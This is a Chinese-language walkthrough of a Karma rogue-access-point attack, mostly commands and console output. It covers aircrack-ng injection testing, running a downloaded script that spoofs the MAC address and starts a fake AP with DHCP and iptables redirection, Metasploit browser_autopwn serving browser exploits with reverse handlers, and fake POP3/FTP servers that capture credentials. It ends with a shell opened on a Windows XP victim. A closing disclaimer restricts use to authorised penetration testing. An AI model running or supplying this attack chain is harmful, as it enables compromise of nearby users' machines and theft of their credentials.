$ svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng $ make 
# make install 
2. 讓咱們測試一下 aireplay-ng 的工做(注入數據包必須支持你的無線網卡) 
       bt# aireplay-ng -9 wlan0 
15:10:21 Trying broadcast probe requests... 15:10:21 Injection is working! 
15:10:25 Found 5 APs 
 
15:10:25 Trying directed probe requests... 
15:10:26 00:1E:58:33:83:71 - channel: 2 - 'CITEC' 15:10:35 0/30: 0% 
15:10:37 00:14:06:11:42:A2 - channel: 6 - 'WORKSHOP' 15:10:42 0/30: 0% 
 
15:10:42 00:13:19:5F:D1:D0 - channel: 11 - 'VICTIM' 
15:10:48 Ping (min/avg/max): 3.325ms/126.125ms/201.281ms Power: 83.27 15:10:48 5/30: 60% 
15:10:48 Injection is working!


 
 
15:56:48 00:14:06:11:42:A0 - channel: 11 - 'Mywifi' 15:56:53 0/30: 0% 
 
如今它在進行注入工做!
 
3. 更新 Metasploit 
 
$ svn co http://metasploit.com/svn/framework3/trunk msf3 
 
4. 下載 Bash 腳本 http://www.darkoperator.com/kmsapng.tgz 
 
該腳本執行如下操做:
- 改變 MAC 地址的接口 
- 設置監聽模式的接口
- 啓動 Airbase-ng 的 Karma AP 
- 更改 MTU 接口大小
- 設置 IP 地址
- 啓動 DHCPD 服務器
- 設置 iptables 重定向 
- 啓動 Metasploit 
 
6. 而後咱們運行 kmsapng.sh,像這樣:
 
#./kmsapng.sh -i wlan0 -m km -s linksys 
 
Changing MAC Address 
Current MAC: 00:0f:c1:08:12:91 (Wave Corporation) 
Faked MAC:         00:40:1b:5b:b0:0b (Printer Systems Corp.) 
starting fake ap 
This will take 15 seconds ... 
DHCPD started successfully 
Starting Packet capture to /root/kms.cap 
Starting Metasploit 
 

| |         o
_   _   _      _ _|_   __,    ,       _   | | __      _|_
/ |/ |/ |       |/   |    /    |                    / \_|/ \_|/     /      \_|   |
|    |    |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/| 
\| 
 
=[ msf v3.2-release 
+ -- --=[ 304 exploits - 124 payloads 
+ -- --=[ 18 encoders - 6 nops 
=[ 79 aux 
 
resource> load db_sqlite3


 
[*] Successfully loaded plugin: db_sqlite3 
resource> db_create /root/karma.db 
[*] The specified database already exists, connecting [*] Successfully connected to the database 
[*] File: /root/karma.db 
resource> use auxiliary/server/browser_autopwn resource> setg AUTOPWN_HOST 172.16.1.207 
AUTOPWN_HOST => 172.16.1.207 
resource> setg AUTOPWN_PORT 55550 
AUTOPWN_PORT => 55550 
resource> setg AUTOPWN_URI /ads 
AUTOPWN_URI => /ads 
resource> set LHOST 172.16.1.207 
LHOST => 172.16.1.207 
resource> set LPORT 45000 
LPORT => 45000 
resource> set SRVPORT 55550 
SRVPORT => 55550 
resource> set URIPATH /ads 
URIPATH => /ads 
resource> run 
[*]    Starting exploit modules on host 172.16.1.207...
[*]    Started reverse handler
[*]    Using URL: http://0.0.0.0:55550/exploit/multi/browser/mozilla_compareto
[*]    Local IP: http://127.0.0.1:55550/exploit/multi/browser/mozilla_compareto
[*]    Server started.
[*]    Started reverse handler
[*]    Using URL: http://0.0.0.0:55550/exploit/multi/browser/mozilla_navigatorjava
[*]    Local IP: http://127.0.0.1:55550/exploit/multi/browser/mozilla_navigatorjava
[*]    Server started.
[*]    Started reverse handler
[*]    Using URL: http://0.0.0.0:55550/exploit/multi/browser/firefox_queryinterface
[*]    Local IP: http://127.0.0.1:55550/exploit/multi/browser/firefox_queryinterface
[*]    Server started.
[*]    Started reverse handler
[*]    Using URL: http://0.0.0.0:55550/exploit/windows/browser/apple_quicktime_rtsp
[*]    Local IP: http://127.0.0.1:55550/exploit/windows/browser/apple_quicktime_rtsp
[*]    Server started.
[*]    Started reverse handler
[*]    Using URL: http://0.0.0.0:55550/exploit/windows/browser/novelliprint_getdriversettings
[*]    Local IP: http://127.0.0.1:55550/exploit/windows/browser/novelliprint_getdriversettings
[*]    Server started.
[*]    Started reverse handler
[*]    Using URL: http://0.0.0.0:55550/exploit/windows/browser/ms03_020_ie_objecttype
[*]    Local IP: http://127.0.0.1:55550/exploit/windows/browser/ms03_020_ie_objecttype
[*]    Server started.
[*]    Started reverse handler
[*]    Using URL: http://0.0.0.0:55550/exploit/windows/browser/ie_createobject
[*]    Local IP: http://127.0.0.1:55550/exploit/windows/browser/ie_createobject


 
 
[*] Server started. 
[*] Started reverse handler 
[*] Using URL: http://0.0.0.0:55550/exploit/windows/browser/ms06_067_keyframe [*] Local IP: http://127.0.0.1:55550/exploit/windows/browser/ms06_067_keyframe [*] Server started. 
[*] Started reverse handler 
[*] Using URL: http://0.0.0.0:55550/exploit/windows/browser/ms06_071_xml_core [*] Local IP: http://127.0.0.1:55550/exploit/windows/browser/ms06_071_xml_core [*] Server started. 
[*] Started reverse handler 
[*] Server started. 
[*] Using URL: http://0.0.0.0:55550/ads 
[*] Local IP: http://127.0.0.1:55550/ads 
[*] Server started. 
[*] Auxiliary module running as background job resource> use auxiliary/server/capture/pop3 resource> set SRVPORT 110 
SRVPORT => 110 
resource> set SSL false 
SSL => false 
resource> run 
[*] Server started. 
[*] Auxiliary module running as background job resource> use auxiliary/server/capture/pop3 resource> set SRVPORT 995 
SRVPORT => 995 
resource> set SSL true 
SSL => true 
resource> run 
[*] Server started. 
[*] Auxiliary module running as background job resource> use auxiliary/server/capture/ftp 
resource> run 
[*] Server started. 
 
 
 
[*] Sending Firefox location.QueryInterface() Code Execution to 10.0.0.252:1493... [*] Command shell session 2 opened (10.0.0.1:45001 -> 10.0.0.252:1507) 
 
msf auxiliary(http) > sessions -i 2 
[*] Starting interaction with 2... 
 
Microsoft Windows XP [版本 5.1.2600] 
(C) 版權全部 1985-2001 Microsoft Corp. 
 
D:\Mozilla Firefox> cd ..

  D:\> net user  \\CZY 的用戶賬戶  __vmware_user__                              Administrator                                     ASPNETGuest                                               HelpAssistant                                    IUSR_CWHIWAM_CZY                    CZY                                       SUPPORT_388945a0命令成功完成。    [0x11] - 旅程的尾聲 操做都是處於 Linux 環境下完成的,不管如何,我但願它對你有所幫助。 本文是針對交流技術和合法的滲透測試目的而寫,做者不負責使用此文件內容所帶來的損害。若是你想對其餘人的系統使用這方面的技術,則必需要求對方贊成或合法的滲透測試。

相關文章
相關標籤/搜索